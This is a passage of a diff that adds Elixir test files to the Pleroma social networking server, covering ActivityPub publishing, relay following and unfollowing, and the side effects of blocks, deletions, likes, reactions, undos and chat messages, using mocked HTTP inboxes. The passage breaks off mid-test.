with_mocks([ + {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, + { + Pleroma.Web.ActivityPub.MRF, + [], + [pipeline_filter: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.ActivityPub, + [], + [persist: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.SideEffects, + [], + [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end] + }, + { + Pleroma.Web.Federator, + [], + [] + } + ]) do + assert {:ok, ^activity, ^meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) + + assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) + end + end + + test "it goes through validation, filtering, persisting, side effects without federation for local activities if federation is deactivated" do + clear_config([:instance, :federating], false) + + activity = insert(:note_activity) + meta = [local: true] + + with_mocks([ + {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, + { + Pleroma.Web.ActivityPub.MRF, + [], + [pipeline_filter: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.ActivityPub, + [], + [persist: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.SideEffects, + [], + [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end] + }, + { + Pleroma.Web.Federator, + [], + [] + } + ]) do + assert {:ok, ^activity, ^meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) + + assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) + end + end + end +end diff --git a/test/pleroma/web/activity_pub/publisher_test.exs b/test/pleroma/web/activity_pub/publisher_test.exs new file mode 100644 index 000000000..b9388b966 --- /dev/null +++ b/test/pleroma/web/activity_pub/publisher_test.exs @@ -0,0 +1,365 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.PublisherTest do + use Pleroma.Web.ConnCase + + import ExUnit.CaptureLog + import Pleroma.Factory + import Tesla.Mock + import Mock + + alias Pleroma.Activity + alias Pleroma.Instances + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Publisher + alias Pleroma.Web.CommonAPI + + @as_public "https://www.w3.org/ns/activitystreams#Public" + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup_all do: clear_config([:instance, :federating], true) + + describe "gather_webfinger_links/1" do + test "it returns links" do + user = insert(:user) + + expected_links = [ + %{"href" => user.ap_id, "rel" => "self", "type" => "application/activity+json"}, + %{ + "href" => user.ap_id, + "rel" => "self", + "type" => "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" + }, + %{ + "rel" => "http://ostatus.org/schema/1.0/subscribe", + "template" => "#{Pleroma.Web.base_url()}/ostatus_subscribe?acct={uri}" + } + ] + + assert expected_links == Publisher.gather_webfinger_links(user) + end + end + + describe "determine_inbox/2" do + test "it returns sharedInbox for messages involving as:Public in to" do + user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) + + activity = %Activity{ + data: %{"to" => [@as_public], "cc" => [user.follower_address]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns sharedInbox for messages involving as:Public in cc" do + user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) + + activity = %Activity{ + data: %{"cc" => [@as_public], "to" => [user.follower_address]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns sharedInbox for messages involving multiple recipients in to" do + user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) + user_two = insert(:user) + user_three = insert(:user) + + activity = %Activity{ + data: %{"cc" => [], "to" => [user.ap_id, user_two.ap_id, user_three.ap_id]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns sharedInbox for messages involving multiple recipients in cc" do + user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) + user_two = insert(:user) + user_three = insert(:user) + + activity = %Activity{ + data: %{"to" => [], "cc" => [user.ap_id, user_two.ap_id, user_three.ap_id]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns sharedInbox for messages involving multiple recipients in total" do + user = + insert(:user, %{ + shared_inbox: "http://example.com/inbox", + inbox: "http://example.com/personal-inbox" + }) + + user_two = insert(:user) + + activity = %Activity{ + data: %{"to" => [user_two.ap_id], "cc" => [user.ap_id]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns inbox for messages involving single recipients in total" do + user = + insert(:user, %{ + shared_inbox: "http://example.com/inbox", + inbox: "http://example.com/personal-inbox" + }) + + activity = %Activity{ + data: %{"to" => [user.ap_id], "cc" => []} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/personal-inbox" + end + end + + describe "publish_one/1" do + test "publish to url with with different ports" do + inbox80 = "http://42.site/users/nick1/inbox" + inbox42 = "http://42.site:42/users/nick1/inbox" + + mock(fn + %{method: :post, url: "http://42.site:42/users/nick1/inbox"} -> + {:ok, %Tesla.Env{status: 200, body: "port 42"}} + + %{method: :post, url: "http://42.site/users/nick1/inbox"} -> + {:ok, %Tesla.Env{status: 200, body: "port 80"}} + end) + + actor = insert(:user) + + assert {:ok, %{body: "port 42"}} = + Publisher.publish_one(%{ + inbox: inbox42, + json: "{}", + actor: actor, + id: 1, + unreachable_since: true + }) + + assert {:ok, %{body: "port 80"}} = + Publisher.publish_one(%{ + inbox: inbox80, + json: "{}", + actor: actor, + id: 1, + unreachable_since: true + }) + end + + test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://200.site/users/nick1/inbox" + + assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) + assert called(Instances.set_reachable(inbox)) + end + + test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://200.site/users/nick1/inbox" + + assert {:ok, _} = + Publisher.publish_one(%{ + inbox: inbox, + json: "{}", + actor: actor, + id: 1, + unreachable_since: NaiveDateTime.utc_now() + }) + + assert called(Instances.set_reachable(inbox)) + end + + test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://200.site/users/nick1/inbox" + + assert {:ok, _} = + Publisher.publish_one(%{ + inbox: inbox, + json: "{}", + actor: actor, + id: 1, + unreachable_since: nil + }) + + refute called(Instances.set_reachable(inbox)) + end + + test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://404.site/users/nick1/inbox" + + assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) + + assert called(Instances.set_unreachable(inbox)) + end + + test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://connrefused.site/users/nick1/inbox" + + assert capture_log(fn -> + assert {:error, _} = + Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) + end) =~ "connrefused" + + assert called(Instances.set_unreachable(inbox)) + end + + test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://200.site/users/nick1/inbox" + + assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) + + refute called(Instances.set_unreachable(inbox)) + end + + test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://connrefused.site/users/nick1/inbox" + + assert capture_log(fn -> + assert {:error, _} = + Publisher.publish_one(%{ + inbox: inbox, + json: "{}", + actor: actor, + id: 1, + unreachable_since: NaiveDateTime.utc_now() + }) + end) =~ "connrefused" + + refute called(Instances.set_unreachable(inbox)) + end + end + + describe "publish/2" do + test_with_mock "publishes an activity with BCC to all relevant peers.", + Pleroma.Web.Federator.Publisher, + [:passthrough], + [] do + follower = + insert(:user, %{ + local: false, + inbox: "https://domain.com/users/nick1/inbox", + ap_enabled: true + }) + + actor = insert(:user, follower_address: follower.ap_id) + user = insert(:user) + + {:ok, _follower_one} = Pleroma.User.follow(follower, actor) + actor = refresh_record(actor) + + note_activity = + insert(:note_activity, + recipients: [follower.ap_id], + data_attrs: %{"bcc" => [user.ap_id]} + ) + + res = Publisher.publish(actor, note_activity) + assert res == :ok + + assert called( + Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ + inbox: "https://domain.com/users/nick1/inbox", + actor_id: actor.id, + id: note_activity.data["id"] + }) + ) + end + + test_with_mock "publishes a delete activity to peers who signed fetch requests to the create acitvity/object.", + Pleroma.Web.Federator.Publisher, + [:passthrough], + [] do + fetcher = + insert(:user, + local: false, + inbox: "https://domain.com/users/nick1/inbox", + ap_enabled: true + ) + + another_fetcher = + insert(:user, + local: false, + inbox: "https://domain2.com/users/nick1/inbox", + ap_enabled: true + ) + + actor = insert(:user) + + note_activity = insert(:note_activity, user: actor) + object = Object.normalize(note_activity) + + activity_path = String.trim_leading(note_activity.data["id"], Pleroma.Web.Endpoint.url()) + object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + + build_conn() + |> put_req_header("accept", "application/activity+json") + |> assign(:user, fetcher) + |> get(object_path) + |> json_response(200) + + build_conn() + |> put_req_header("accept", "application/activity+json") + |> assign(:user, another_fetcher) + |> get(activity_path) + |> json_response(200) + + {:ok, delete} = CommonAPI.delete(note_activity.id, actor) + + res = Publisher.publish(actor, delete) + assert res == :ok + + assert called( + Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ + inbox: "https://domain.com/users/nick1/inbox", + actor_id: actor.id, + id: delete.data["id"] + }) + ) + + assert called( + Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ + inbox: "https://domain2.com/users/nick1/inbox", + actor_id: actor.id, + id: delete.data["id"] + }) + ) + end + end +end diff --git a/test/pleroma/web/activity_pub/relay_test.exs b/test/pleroma/web/activity_pub/relay_test.exs new file mode 100644 index 000000000..3284980f7 --- /dev/null +++ b/test/pleroma/web/activity_pub/relay_test.exs @@ -0,0 +1,168 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.RelayTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureLog + import Pleroma.Factory + import Mock + + test "gets an actor for the relay" do + user = Relay.get_actor() + assert user.ap_id == "#{Pleroma.Web.Endpoint.url()}/relay" + end + + test "relay actor is invisible" do + user = Relay.get_actor() + assert User.invisible?(user) + end + + describe "follow/1" do + test "returns errors when user not found" do + assert capture_log(fn -> + {:error, _} = Relay.follow("test-ap-id") + end) =~ "Could not decode user at fetch" + end + + test "returns activity" do + user = insert(:user) + service_actor = Relay.get_actor() + assert {:ok, %Activity{} = activity} = Relay.follow(user.ap_id) + assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" + assert user.ap_id in activity.recipients + assert activity.data["type"] == "Follow" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["object"] == user.ap_id + end + end + + describe "unfollow/1" do + test "returns errors when user not found" do + assert capture_log(fn -> + {:error, _} = Relay.unfollow("test-ap-id") + end) =~ "Could not decode user at fetch" + end + + test "returns activity" do + user = insert(:user) + service_actor = Relay.get_actor() + CommonAPI.follow(service_actor, user) + assert "#{user.ap_id}/followers" in User.following(service_actor) + assert {:ok, %Activity{} = activity} = Relay.unfollow(user.ap_id) + assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" + assert user.ap_id in activity.recipients + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["to"] == [user.ap_id] + refute "#{user.ap_id}/followers" in User.following(service_actor) + end + + test "force unfollow when target service is dead" do + user = insert(:user) + user_ap_id = user.ap_id + user_id = user.id + + Tesla.Mock.mock(fn %{method: :get, url: ^user_ap_id} -> + %Tesla.Env{status: 404} + end) + + service_actor = Relay.get_actor() + CommonAPI.follow(service_actor, user) + assert "#{user.ap_id}/followers" in User.following(service_actor) + + assert Pleroma.Repo.get_by( + Pleroma.FollowingRelationship, + follower_id: service_actor.id, + following_id: user_id + ) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + assert {:ok, %Activity{} = activity} = Relay.unfollow(user_ap_id, %{force: true}) + + assert refresh_record(service_actor).following_count == 0 + + refute Pleroma.Repo.get_by( + Pleroma.FollowingRelationship, + follower_id: service_actor.id, + following_id: user_id + ) + + assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" + assert user.ap_id in activity.recipients + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["to"] == [user_ap_id] + refute "#{user.ap_id}/followers" in User.following(service_actor) + end + end + + describe "publish/1" do + setup do: clear_config([:instance, :federating]) + + test "returns error when activity not `Create` type" do + activity = insert(:like_activity) + assert Relay.publish(activity) == {:error, "Not implemented"} + end + + @tag capture_log: true + test "returns error when activity not public" do + activity = insert(:direct_note_activity) + assert Relay.publish(activity) == {:error, false} + end + + test "returns error when object is unknown" do + activity = + insert(:note_activity, + data: %{ + "type" => "Create", + "object" => "http://mastodon.example.org/eee/99541947525187367" + } + ) + + Tesla.Mock.mock(fn + %{method: :get, url: "http://mastodon.example.org/eee/99541947525187367"} -> + %Tesla.Env{status: 500, body: ""} + end) + + assert capture_log(fn -> + assert Relay.publish(activity) == {:error, false} + end) =~ "[error] error: false" + end + + test_with_mock "returns announce activity and publish to federate", + Pleroma.Web.Federator, + [:passthrough], + [] do + clear_config([:instance, :federating], true) + service_actor = Relay.get_actor() + note = insert(:note_activity) + assert {:ok, %Activity{} = activity} = Relay.publish(note) + assert activity.data["type"] == "Announce" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["to"] == [service_actor.follower_address] + assert called(Pleroma.Web.Federator.publish(activity)) + end + + test_with_mock "returns announce activity and not publish to federate", + Pleroma.Web.Federator, + [:passthrough], + [] do + clear_config([:instance, :federating], false) + service_actor = Relay.get_actor() + note = insert(:note_activity) + assert {:ok, %Activity{} = activity} = Relay.publish(note) + assert activity.data["type"] == "Announce" + assert activity.data["actor"] == service_actor.ap_id + refute called(Pleroma.Web.Federator.publish(activity)) + end + end +end diff --git a/test/pleroma/web/activity_pub/side_effects_test.exs b/test/pleroma/web/activity_pub/side_effects_test.exs new file mode 100644 index 000000000..9efbaad04 --- /dev/null +++ b/test/pleroma/web/activity_pub/side_effects_test.exs @@ -0,0 +1,639 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.SideEffectsTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.SideEffects + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureLog + import Mock + import Pleroma.Factory + + describe "handle_after_transaction" do + test "it streams out notifications and streams" do + author = insert(:user, local: true) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + assert [notification] = meta[:notifications] + + with_mocks([ + { + Pleroma.Web.Streamer, + [], + [ + stream: fn _, _ -> nil end + ] + }, + { + Pleroma.Web.Push, + [], + [ + send: fn _ -> nil end + ] + } + ]) do + SideEffects.handle_after_transaction(meta) + + assert called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) + assert called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) + assert called(Pleroma.Web.Push.send(notification)) + end + end + end + + describe "blocking users" do + setup do + user = insert(:user) + blocked = insert(:user) + User.follow(blocked, user) + User.follow(user, blocked) + + {:ok, block_data, []} = Builder.block(user, blocked) + {:ok, block, _meta} = ActivityPub.persist(block_data, local: true) + + %{user: user, blocked: blocked, block: block} + end + + test "it unfollows and blocks", %{user: user, blocked: blocked, block: block} do + assert User.following?(user, blocked) + assert User.following?(blocked, user) + + {:ok, _, _} = SideEffects.handle(block) + + refute User.following?(user, blocked) + refute User.following?(blocked, user) + assert User.blocks?(user, blocked) + end + + test "it blocks but does not unfollow if the relevant setting is set", %{ + user: user, + blocked: blocked, + block: block + } do + clear_config([:activitypub, :unfollow_blocked], false) + assert User.following?(user, blocked) + assert User.following?(blocked, user) + + {:ok, _, _} = SideEffects.handle(block) + + refute User.following?(user, blocked) + assert User.following?(blocked, user) + assert User.blocks?(user, blocked) + end + end + + describe "update users" do + setup do + user = insert(:user) + {:ok, update_data, []} = Builder.update(user, %{"id" => user.ap_id, "name" => "new name!"}) + {:ok, update, _meta} = ActivityPub.persist(update_data, local: true) + + %{user: user, update_data: update_data, update: update} + end + + test "it updates the user", %{user: user, update: update} do + {:ok, _, _} = SideEffects.handle(update) + user = User.get_by_id(user.id) + assert user.name == "new name!" + end + + test "it uses a given changeset to update", %{user: user, update: update} do + changeset = Ecto.Changeset.change(user, %{default_scope: "direct"}) + + assert user.default_scope == "public" + {:ok, _, _} = SideEffects.handle(update, user_update_changeset: changeset) + user = User.get_by_id(user.id) + assert user.default_scope == "direct" + end + end + + describe "delete objects" do + setup do + user = insert(:user) + other_user = insert(:user) + + {:ok, op} = CommonAPI.post(other_user, %{status: "big oof"}) + {:ok, post} = CommonAPI.post(user, %{status: "hey", in_reply_to_id: op}) + {:ok, favorite} = CommonAPI.favorite(user, post.id) + object = Object.normalize(post) + {:ok, delete_data, _meta} = Builder.delete(user, object.data["id"]) + {:ok, delete_user_data, _meta} = Builder.delete(user, user.ap_id) + {:ok, delete, _meta} = ActivityPub.persist(delete_data, local: true) + {:ok, delete_user, _meta} = ActivityPub.persist(delete_user_data, local: true) + + %{ + user: user, + delete: delete, + post: post, + object: object, + delete_user: delete_user, + op: op, + favorite: favorite + } + end + + test "it handles object deletions", %{ + delete: delete, + post: post, + object: object, + user: user, + op: op, + favorite: favorite + } do + with_mock Pleroma.Web.ActivityPub.ActivityPub, [:passthrough], + stream_out: fn _ -> nil end, + stream_out_participations: fn _, _ -> nil end do + {:ok, delete, _} = SideEffects.handle(delete) + user = User.get_cached_by_ap_id(object.data["actor"]) + + assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out(delete)) + assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out_participations(object, user)) + end + + object = Object.get_by_id(object.id) + assert object.data["type"] == "Tombstone" + refute Activity.get_by_id(post.id) + refute Activity.get_by_id(favorite.id) + + user = User.get_by_id(user.id) + assert user.note_count == 0 + + object = Object.normalize(op.data["object"], false) + + assert object.data["repliesCount"] == 0 + end + + test "it handles object deletions when the object itself has been pruned", %{ + delete: delete, + post: post, + object: object, + user: user, + op: op + } do + with_mock Pleroma.Web.ActivityPub.ActivityPub, [:passthrough], + stream_out: fn _ -> nil end, + stream_out_participations: fn _, _ -> nil end do + {:ok, delete, _} = SideEffects.handle(delete) + user = User.get_cached_by_ap_id(object.data["actor"]) + + assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out(delete)) + assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out_participations(object, user)) + end + + object = Object.get_by_id(object.id) + assert object.data["type"] == "Tombstone" + refute Activity.get_by_id(post.id) + + user = User.get_by_id(user.id) + assert user.note_count == 0 + + object = Object.normalize(op.data["object"], false) + + assert object.data["repliesCount"] == 0 + end + + test "it handles user deletions", %{delete_user: delete, user: user} do + {:ok, _delete, _} = SideEffects.handle(delete) + ObanHelpers.perform_all() + + assert User.get_cached_by_ap_id(user.ap_id).deactivated + end + + test "it logs issues with objects deletion", %{ + delete: delete, + object: object + } do + {:ok, object} = + object + |> Object.change(%{data: Map.delete(object.data, "actor")}) + |> Repo.update() + + Object.invalid_object_cache(object) + + assert capture_log(fn -> + {:error, :no_object_actor} = SideEffects.handle(delete) + end) =~ "object doesn't have an actor" + end + end + + describe "EmojiReact objects" do + setup do + poster = insert(:user) + user = insert(:user) + + {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) + + {:ok, emoji_react_data, []} = Builder.emoji_react(user, post.object, "👌") + {:ok, emoji_react, _meta} = ActivityPub.persist(emoji_react_data, local: true) + + %{emoji_react: emoji_react, user: user, poster: poster} + end + + test "adds the reaction to the object", %{emoji_react: emoji_react, user: user} do + {:ok, emoji_react, _} = SideEffects.handle(emoji_react) + object = Object.get_by_ap_id(emoji_react.data["object"]) + + assert object.data["reaction_count"] == 1 + assert ["👌", [user.ap_id]] in object.data["reactions"] + end + + test "creates a notification", %{emoji_react: emoji_react, poster: poster} do + {:ok, emoji_react, _} = SideEffects.handle(emoji_react) + assert Repo.get_by(Notification, user_id: poster.id, activity_id: emoji_react.id) + end + end + + describe "delete users with confirmation pending" do + setup do + user = insert(:user, confirmation_pending: true) + {:ok, delete_user_data, _meta} = Builder.delete(user, user.ap_id) + {:ok, delete_user, _meta} = ActivityPub.persist(delete_user_data, local: true) + {:ok, delete: delete_user, user: user} + end + + test "when activation is not required", %{delete: delete, user: user} do + clear_config([:instance, :account_activation_required], false) + {:ok, _, _} = SideEffects.handle(delete) + ObanHelpers.perform_all() + + assert User.get_cached_by_id(user.id).deactivated + end + + test "when activation is required", %{delete: delete, user: user} do + clear_config([:instance, :account_activation_required], true) + {:ok, _, _} = SideEffects.handle(delete) + ObanHelpers.perform_all() + + refute User.get_cached_by_id(user.id) + end + end + + describe "Undo objects" do + setup do + poster = insert(:user) + user = insert(:user) + {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) + {:ok, like} = CommonAPI.favorite(user, post.id) + {:ok, reaction} = CommonAPI.react_with_emoji(post.id, user, "👍") + {:ok, announce} = CommonAPI.repeat(post.id, user) + {:ok, block} = CommonAPI.block(user, poster) + + {:ok, undo_data, _meta} = Builder.undo(user, like) + {:ok, like_undo, _meta} = ActivityPub.persist(undo_data, local: true) + + {:ok, undo_data, _meta} = Builder.undo(user, reaction) + {:ok, reaction_undo, _meta} = ActivityPub.persist(undo_data, local: true) + + {:ok, undo_data, _meta} = Builder.undo(user, announce) + {:ok, announce_undo, _meta} = ActivityPub.persist(undo_data, local: true) + + {:ok, undo_data, _meta} = Builder.undo(user, block) + {:ok, block_undo, _meta} = ActivityPub.persist(undo_data, local: true) + + %{ + like_undo: like_undo, + post: post, + like: like, + reaction_undo: reaction_undo, + reaction: reaction, + announce_undo: announce_undo, + announce: announce, + block_undo: block_undo, + block: block, + poster: poster, + user: user + } + end + + test "deletes the original block", %{ + block_undo: block_undo, + block: block + } do + {:ok, _block_undo, _meta} = SideEffects.handle(block_undo) + + refute Activity.get_by_id(block.id) + end + + test "unblocks the blocked user", %{block_undo: block_undo, block: block} do + blocker = User.get_by_ap_id(block.data["actor"]) + blocked = User.get_by_ap_id(block.data["object"]) + + {:ok, _block_undo, _} = SideEffects.handle(block_undo) + refute User.blocks?(blocker, blocked) + end + + test "an announce undo removes the announce from the object", %{ + announce_undo: announce_undo, + post: post + } do + {:ok, _announce_undo, _} = SideEffects.handle(announce_undo) + + object = Object.get_by_ap_id(post.data["object"]) + + assert object.data["announcement_count"] == 0 + assert object.data["announcements"] == [] + end + + test "deletes the original announce", %{announce_undo: announce_undo, announce: announce} do + {:ok, _announce_undo, _} = SideEffects.handle(announce_undo) + refute Activity.get_by_id(announce.id) + end + + test "a reaction undo removes the reaction from the object", %{ + reaction_undo: reaction_undo, + post: post + } do + {:ok, _reaction_undo, _} = SideEffects.handle(reaction_undo) + + object = Object.get_by_ap_id(post.data["object"]) + + assert object.data["reaction_count"] == 0 + assert object.data["reactions"] == [] + end + + test "deletes the original reaction", %{reaction_undo: reaction_undo, reaction: reaction} do + {:ok, _reaction_undo, _} = SideEffects.handle(reaction_undo) + refute Activity.get_by_id(reaction.id) + end + + test "a like undo removes the like from the object", %{like_undo: like_undo, post: post} do + {:ok, _like_undo, _} = SideEffects.handle(like_undo) + + object = Object.get_by_ap_id(post.data["object"]) + + assert object.data["like_count"] == 0 + assert object.data["likes"] == [] + end + + test "deletes the original like", %{like_undo: like_undo, like: like} do + {:ok, _like_undo, _} = SideEffects.handle(like_undo) + refute Activity.get_by_id(like.id) + end + end + + describe "like objects" do + setup do + poster = insert(:user) + user = insert(:user) + {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) + + {:ok, like_data, _meta} = Builder.like(user, post.object) + {:ok, like, _meta} = ActivityPub.persist(like_data, local: true) + + %{like: like, user: user, poster: poster} + end + + test "add the like to the original object", %{like: like, user: user} do + {:ok, like, _} = SideEffects.handle(like) + object = Object.get_by_ap_id(like.data["object"]) + assert object.data["like_count"] == 1 + assert user.ap_id in object.data["likes"] + end + + test "creates a notification", %{like: like, poster: poster} do + {:ok, like, _} = SideEffects.handle(like) + assert Repo.get_by(Notification, user_id: poster.id, activity_id: like.id) + end + end + + describe "creation of ChatMessages" do + test "notifies the recipient" do + author = insert(:user, local: false) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, _meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + assert Repo.get_by(Notification, user_id: recipient.id, activity_id: create_activity.id) + end + + test "it streams the created ChatMessage" do + author = insert(:user, local: true) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + assert [_, _] = meta[:streamables] + end + + test "it creates a Chat and MessageReferences for the local users and bumps the unread count, except for the author" do + author = insert(:user, local: true) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + with_mocks([ + { + Pleroma.Web.Streamer, + [], + [ + stream: fn _, _ -> nil end + ] + }, + { + Pleroma.Web.Push, + [], + [ + send: fn _ -> nil end + ] + } + ]) do + {:ok, _create_activity, meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + # The notification gets created + assert [notification] = meta[:notifications] + assert notification.activity_id == create_activity.id + + # But it is not sent out + refute called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) + refute called(Pleroma.Web.Push.send(notification)) + + # Same for the user chat stream + assert [{topics, _}, _] = meta[:streamables] + assert topics == ["user", "user:pleroma_chat"] + refute called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) + + chat = Chat.get(author.id, recipient.ap_id) + + [cm_ref] = MessageReference.for_chat_query(chat) |> Repo.all() + + assert cm_ref.object.data["content"] == "hey" + assert cm_ref.unread == false + + chat = Chat.get(recipient.id, author.ap_id) + + [cm_ref] = MessageReference.for_chat_query(chat) |> Repo.all() + + assert cm_ref.object.data["content"] == "hey" + assert cm_ref.unread == true + end + end + + test "it creates a Chat for the local users and bumps the unread count" do + author = insert(:user, local: false) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, _meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + # An object is created + assert Object.get_by_ap_id(chat_message_data["id"]) + + # The remote user won't get a chat + chat = Chat.get(author.id, recipient.ap_id) + refute chat + + # The local user will get a chat + chat = Chat.get(recipient.id, author.ap_id) + assert chat + + author = insert(:user, local: true) + recipient = insert(:user, local: true) + + {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") + + {:ok, create_activity_data, _meta} = + Builder.create(author, chat_message_data["id"], [recipient.ap_id]) + + {:ok, create_activity, 